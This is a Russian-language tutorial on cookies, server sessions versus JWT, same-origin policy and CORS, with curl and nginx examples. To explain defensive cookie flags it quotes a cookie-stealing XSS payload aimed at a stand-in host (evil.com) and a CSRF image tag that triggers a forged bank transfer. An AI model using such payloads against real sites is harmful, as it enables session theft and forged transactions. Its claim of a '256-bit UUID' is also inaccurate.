Cookies, sessions, CORS — иллюзия состояния поверх stateless HTTP
HTTP — stateless: каждый запрос полностью независим, сервер ничего не помнит между запросами. Но в реальной жизни вы можете залогиниться на сайте один раз и потом часами кликать по нему — сайт «помнит» вас. Это противоречие? Нет. Это иллюзия, аккуратно построенная на двух механизмах: cookies (со стороны клиента) и sessions (со стороны сервера).
В этом уроке разберём, как именно работает аутентификация в HTTP, что такое cookie, какие у неё флаги безопасности и зачем они, почему браузер блокирует AJAX-запросы между доменами и как CORS это контролирует.
Для junior data engineer это важно не только потому, что вы будете ходить в чужие API (где надо разобраться, как они хранят сессию), но и потому, что часто вам придётся настраивать nginx, разбираться в логах безопасности или диагностировать «почему мой fetch из браузера не работает, а из curl работает».
Statelessness — ограничение и фича одновременно
Напомню: каждый HTTP-запрос самодостаточен. Сервер обрабатывает его, отвечает, и забывает. Это не баг, а сознательное архитектурное решение. Польза:
- Horizontal scaling. Любой запрос можно отправить на любой из 1000 серверов в кластере — они все равноправны и одинаково обработают запрос.
- Простота отказоустойчивости. Сервер упал — запрос перенаправили на другой, ничего не потеряли.
- Простота кэширования. Прокси и CDN могут кэшировать ответы, потому что запрос самодостаточен.
Минус: каждый запрос должен нести всю информацию для своей обработки, в том числе «кто этот клиент». Так появились cookies и токены.
Cookies: как клиент носит за собой identity
Cookie — это пара имя/значение, которую сервер просит клиента хранить и присылать обратно на каждом следующем запросе.
В виде HTTP-обмена:
# Шаг 1 -- запрос без cookie
GET /login HTTP/1.1
Host: example.com
# Шаг 2 -- сервер отвечает и устанавливает cookie
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123xyz; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
# Шаг 3 -- следующий запрос автоматически содержит cookie
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=abc123xyz
Заметьте: на втором запросе клиент сам подставил Cookie. Никакого хранения «сессии» на сервере в смысле «процесс сервера держит state в памяти» нет. Сервер при получении session_id лезет в Redis/PostgreSQL и проверяет: «есть такая сессия? кому принадлежит? не истекла?».
Атрибуты cookie — флаги безопасности
Когда сервер ставит cookie, он может добавить атрибуты. Большинство из них — про безопасность.
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Domain=.example.com; Max-Age=3600
Разбираем по флагу:
Каждый флаг закрывает конкретный класс атак:
- HttpOnly — закрывает XSS-кражу токена. Если атакующий внедрил
<script>fetch('//evil.com', {body: document.cookie})</script>, тоdocument.cookieне вернёт HttpOnly cookies. Токен не утечёт. - Secure — закрывает прослушку в открытом WiFi. Без флага cookie летит и по HTTP, и снифферится тривиально.
- SameSite — закрывает CSRF (Cross-Site Request Forgery). Атакующий заставил вас зайти на свой сайт, тот сделал
<img src="//bank.com/transfer?to=evil&amount=1000000">. Браузер без SameSite приложит ваш cookie — и банк сделает перевод. СSameSite=Laxcookie не пойдёт на cross-site embedded request.
В 2026 году все three флага — HttpOnly, Secure, SameSite=Lax (или Strict) — де-факто обязательны для любых auth cookies. Браузеры (Chrome, Firefox) уже стандартно применяют SameSite=Lax, если не указан — но всё равно явно устанавливайте. Это первая вещь, которую смотрит security auditor в любом веб-приложении.
Sessions vs JWT: где хранится state на сервере
Cookie — это просто способ носить идентификатор. А что именно идентификатор — две распространённых архитектуры:
Серверные сессии (session-based auth)
Сервер генерирует случайный непредсказуемый session_id (например, 256-битный UUID). Сохраняет в Redis/БД как ключ -> данные пользователя:
session:abc123xyz -> {"user_id": 42, "username": "linus", "expires": 1716000000}
В cookie летит только session_id. Когда приходит запрос, сервер делает GET session:abc123xyz из Redis — и знает, кто это.
Плюсы: сервер контролирует state, может instantly инвалидировать сессию (logout, ban — просто DEL session:...).
Минусы: требуется centralized store. Каждый запрос — лишний поход в Redis (правда быстрый — <1ms).
Stateless токены (JWT-based auth)
В cookie или в Authorization: Bearer <jwt> — JSON Web Token. Это JSON, закодированный в base64, с криптографической подписью сервера:
HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0Mn0.signaturehash...
Payload содержит данные (user_id, role, expires_at). Сервер при получении проверяет подпись (HMAC или RSA) — и доверяет содержимому, не ходя в БД.
Плюсы: сервер ничего не хранит. Можно скейлить горизонтально без shared store. Минусы: нельзя инвалидировать — токен валиден до expires_at. Если украли — проблема до истечения. Workaround — короткие expires + refresh token + список отозванных.
В реальности и то, и другое — легитимные подходы. Большие монолиты часто используют sessions (legacy + проще ставить flags), микросервисы — JWT (statelessness легче).
Same-origin policy: основа безопасности браузера
Браузер выполняет JavaScript из разных источников (сайтов). По умолчанию JS со страницы https://evil.com НЕ может читать данные с https://bank.com. Это называется same-origin policy — основа всей веб-безопасности.
Origin — это тройка: scheme + host + port. Все три должны совпадать:
Когда JavaScript делает fetch('https://other-origin.com/data'), браузер делает запрос — но не отдаёт ответ JavaScript’у, если сервер не разрешил это явно через CORS.
Зачем такое ограничение? Простой сценарий атаки:
- Вы залогинены на bank.com (у вас в cookies session_id).
- Заходите на evil.com.
- JS со evil.com делает
fetch('https://bank.com/api/balance'). - Браузер автоматически прикладывает ваши cookies bank.com к запросу.
- Bank.com отдаёт ваш баланс.
- Если бы JS evil.com мог это прочитать — ваш баланс утёк бы.
Same-origin policy на шаге 6 говорит: «запрос ушёл, ответ пришёл, но я не покажу его JavaScript из evil.com». Атака парализована.
CORS: как разрешить cross-origin официально
Бывает, что cross-origin — легитимный сценарий. Например, ваш SPA на app.example.com ходит в API api.example.com. Это разные origins — по умолчанию заблокировано. CORS (Cross-Origin Resource Sharing) — механизм, через который сервер явно разрешает определённым origins доступ.
CORS работает через специальные HTTP-заголовки на сервере. Браузер смотрит, разрешил ли сервер этот origin, и пускает/блокирует ответ к JS.
Простой случай: simple request
Для «безопасных» запросов (GET, HEAD, POST с form-encoded body, без custom headers) браузер просто отправляет запрос с заголовком Origin: https://app.example.com. Сервер отвечает заголовком Access-Control-Allow-Origin:
# Запрос от браузера (JS со страницы https://app.example.com)
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
# Ответ сервера -- разрешает этот origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json
{"users": [...]}
Если сервер вернул Access-Control-Allow-Origin: https://app.example.com (или *) — браузер отдаёт ответ JS. Если не вернул — блокирует, JS получит ошибку (запрос-то выполнился, но ответ скрыт).
Preflight: для «опасных» запросов
Если запрос «небезопасный» (PUT, DELETE, PATCH, кастомный Content-Type типа application/json, кастомные заголовки) — браузер сначала шлёт preflight OPTIONS-запрос, спрашивая разрешения:
Полный preflight-обмен:
# 1. Preflight (автоматически, JS об этом не знает)
OPTIONS /api/users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
# 2. Сервер разрешает
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 600
# 3. Реальный запрос
PUT /api/users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Authorization: Bearer xxx
{"name": "new name"}
# 4. Реальный ответ
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
{"id": 42, "name": "new name"}
CORS не «защищает» сервер. Это защита БРАУЗЕРА для своих пользователей. Если вы видите в браузере ‘CORS error’ — сервер ВСЁ РАВНО получил запрос и обработал его. Просто браузер не дал JS прочитать ответ. Поэтому CORS не заменяет аутентификацию и rate limiting на сервере. И поэтому curl с любым origin спокойно дёргает любой API — curl не браузер.
Credentials в CORS
Особый случай: cross-origin запрос с cookies. По умолчанию fetch() НЕ шлёт cookies на cross-origin. Чтобы шёл — нужно credentials: 'include' в JS и ОТДЕЛЬНО Access-Control-Allow-Credentials: true на сервере. Плюс Access-Control-Allow-Origin: * запрещён в этом режиме — нужен явный origin.
Реальный сценарий: запутался с CORS
Один из самых частых багов в работе junior-разработчика — «у меня curl работает, а fetch из браузера нет». Разберём:
# curl с любой машины -- работает
curl -X POST https://api.example.com/users \
-H "Content-Type: application/json" \
-d '{"name": "test"}'
# 200 OK
Но в браузере:
// React-приложение на app.example.com
const response = await fetch('https://api.example.com/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({name: 'test'})
});
// Error: CORS preflight failed
Диагноз: API не возвращает CORS-заголовки. curl это не волнует — браузер блокирует.
Решение — на стороне сервера (nginx, например):
location /api/ {
if ($request_method = OPTIONS) {
add_header Access-Control-Allow-Origin "https://app.example.com" always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
add_header Access-Control-Max-Age 600 always;
return 204;
}
add_header Access-Control-Allow-Origin "https://app.example.com" always;
proxy_pass http://backend;
}
Попробуй сам
Поэкспериментируйте с cookies и CORS через httpbin:
# 1. Установить cookie через сервер
curl -v -c cookies.txt https://httpbin.org/cookies/set/session_id/abc123 2>&1 | grep -i 'set-cookie\|cookie'
# 2. Посмотреть сохранённые cookies
cat cookies.txt
# 3. Использовать их в следующем запросе
curl -v -b cookies.txt https://httpbin.org/cookies 2>&1 | tail -30
# Видим: сервер увидел наш session_id в Cookie header
# 4. Посмотреть на CORS preflight в браузере
# Откройте Chrome DevTools (F12) -> Network tab
# Зайдите на любой сайт (например, github.com)
# Найдите запрос с типом OPTIONS -- это preflight
# Посмотрите его Request Headers (Origin, Access-Control-Request-Method)
# Посмотрите Response Headers (Access-Control-Allow-Origin, Allow-Methods)
# 5. Попробовать CORS-эхо через httpbin
curl -v -H "Origin: https://example.com" https://httpbin.org/get 2>&1 | grep -i 'access-control\|origin'
# 6. Сравнить запрос без cookie и с cookie
curl -v https://github.com 2>&1 | grep -i cookie | head -5
# Если у вас залогинен GitHub в браузере, его cookies в curl нет --
# curl не знает о вашем браузере, у него своя cookie jar
Также интересный эксперимент: посмотреть в DevTools браузера на cookies любого сайта.
- Chrome -> F12 -> Application tab -> Storage -> Cookies
- Откройте любой сайт, на котором вы залогинены (gmail.com, github.com)
- Посмотрите на cookies: их обычно много, с разными флагами
- Auth-cookies должны быть HttpOnly + Secure + SameSite
Что вы должны вынести
- HTTP stateless, но кажется stateful благодаря cookies + session-store на сервере (Redis/БД).
- Cookie — это просто заголовок. Сервер шлёт
Set-Cookie, клиент шлёт обратноCookie. - Флаги
HttpOnly,Secure,SameSite— обязательны для auth cookies. Каждый закрывает свой класс атак. - Two патерна аутентификации: server-side sessions (state в Redis) и stateless JWT (state в подписанном токене).
- Same-origin policy — основа браузерной безопасности. Origin = scheme + host + port.
- CORS — механизм разрешения cross-origin запросов. Защищает БРАУЗЕР, не сервер.
- CORS-ошибка не блокирует запрос на сервере — запрос пришёл и обработался. Браузер просто не отдал ответ JS.
Sessions vs JWT: архитектурные trade-offs на уровне API-дизайна